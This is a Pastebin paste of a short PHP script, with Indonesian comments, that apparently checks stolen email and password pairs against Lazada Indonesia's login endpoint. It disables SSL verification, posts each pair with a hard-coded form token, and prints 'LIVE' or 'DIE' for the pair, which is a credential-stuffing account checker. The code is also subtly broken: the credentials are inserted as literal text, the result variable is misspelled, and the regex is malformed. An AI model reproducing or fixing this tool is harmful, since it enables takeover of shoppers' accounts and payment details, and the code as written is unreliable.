Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- // Setting Username dan Password
- $username = $_POST['email'];
- $password = $_POST['pwd'];
- // Saatnya Menghajar
- //init curl
- $ch = curl_init('https://www.lazada.co.id/ajax/account/login/');
- curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
- curl_setopt($ch,CURLOPT_POST,1);
- curl_setopt($ch,CURLOPT_RETURNTRANSFER,TRUE);
- curl_setopt($ch,CURLOPT_POST,TRUE);
- curl_setopt($ch,CURLOPT_FOLLOWLOCATION,TRUE);
- curl_setopt($ch,CURLOPT_COOKIEFILE,"ikisme.txt");
- curl_setopt($ch,CURLOPT_COOKIEJAR, "ikisme.txt");
- curl_setopt($ch,CURLOPT_POSTFIELDS,"FORM_TOKEN=109210c04b4c0baab32dbc92459e9a505e9ee37c&referer=%2Fcustomer%2Fpayment%2Fmanage&LoginForm%5Bemail%5D='.$username.'&LoginForm%5Bpassword%5D='.$password.'");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
- $result = curl_exec($ch);
- curl_close ($ch);
- if(preg_match("/\/account/edit/\/is",$reslut)){
- echo "LIVE => $username:$password";
- }else{
- echo "DIE => $username:$password ";
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement